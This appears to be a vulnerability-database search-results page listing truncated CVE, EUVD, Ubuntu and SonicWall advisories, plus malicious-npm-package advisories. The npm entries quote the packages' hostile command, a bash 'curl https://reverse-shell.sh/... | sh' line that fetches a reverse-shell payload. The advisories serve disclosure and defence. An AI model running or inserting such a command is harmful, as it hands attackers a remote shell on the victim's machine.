187803 matches found
USN-8874-1: sg3_utils vulnerability
Shaomin Chen discovered that sg3utils did not properly sanitize device identification data. An attacker could possibly use this issue to execute arbitrary commands...
SonicWall SMA1000 Series Appliances Affected By Multiple Vulnerabilities
1 CVE-2026-102255 - Pre-authentication SSRF via unintended forward-proxy A Pre-authentication SSRF vulnerability exists in the SMA1000 Appliance Work Place interface due to an unintended alternate access path. By abusing this path, a remote unauthenticated attacker could potentially exploit this...
CVE-2026-105050
A flaw was found in PeaZip. When operating in certain non-default configurations, the application mishandles quotation characters within archive filenames. An attacker could exploit this vulnerability by enticing a user to open a specially crafted archive file, triggering operating system OS...
CVE-2026-57546
Transient DOS when processing a continuous receive command with a zero-sized global configuration override...
CVE-2026-57545
Memory corruption when processing draw objects of incorrect type during graphics command list execution...
CVE-2026-25270
Memory corruption when processing command buffer requests with invalid length parameters in the Android Camera driver...
CVE-2026-25263
Memory corruption while processing IOCTL command called from user space to the kernel with invalid parameters...
CVE-2026-57546
A Buffer Over-read vulnerability exists in the WLAN HAL component. The flaw occurs during the processing of a continuous receive command when a zero-sized global configuration override is present, leading to a transient Denial of Service (DoS) . No specific software versions or remediation steps ...
CVE-2026-57546 Buffer Over-read in WLAN HAL
Transient DOS when processing a continuous receive command with a zero-sized global configuration override...
EUVD-2026-92981
Transient DOS when processing a continuous receive command with a zero-sized global configuration override...
EUVD-2026-92980
Memory corruption when processing draw objects of incorrect type during graphics command list execution...
EUVD-2026-92973
Memory corruption when processing command buffer requests with invalid length parameters in the Android Camera driver...
CVE-2026-25270 Out-of-bounds Write in Camera Driver
Memory corruption when processing command buffer requests with invalid length parameters in the Android Camera driver...
CVE-2026-25270
The Android Camera driver is vulnerable to a memory corruption issue caused by an out-of-bounds write . This occurs when the driver processes command buffer requests that contain invalid length parameters . While the specific affected versions are not provided in the documents, the vulnerability ...
CVE-2026-25263 Out of Bounds write in Linux Camera
Memory corruption while processing IOCTL command called from user space to the kernel with invalid parameters...
Malicious code in internallib_v30 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...
MAL-2026-17633 Malicious code in internallib_v30 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...
Malicious code in internallib_v86 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...
MAL-2026-17634 Malicious code in internallib_v86 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...
Malicious code in internallib_v875 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...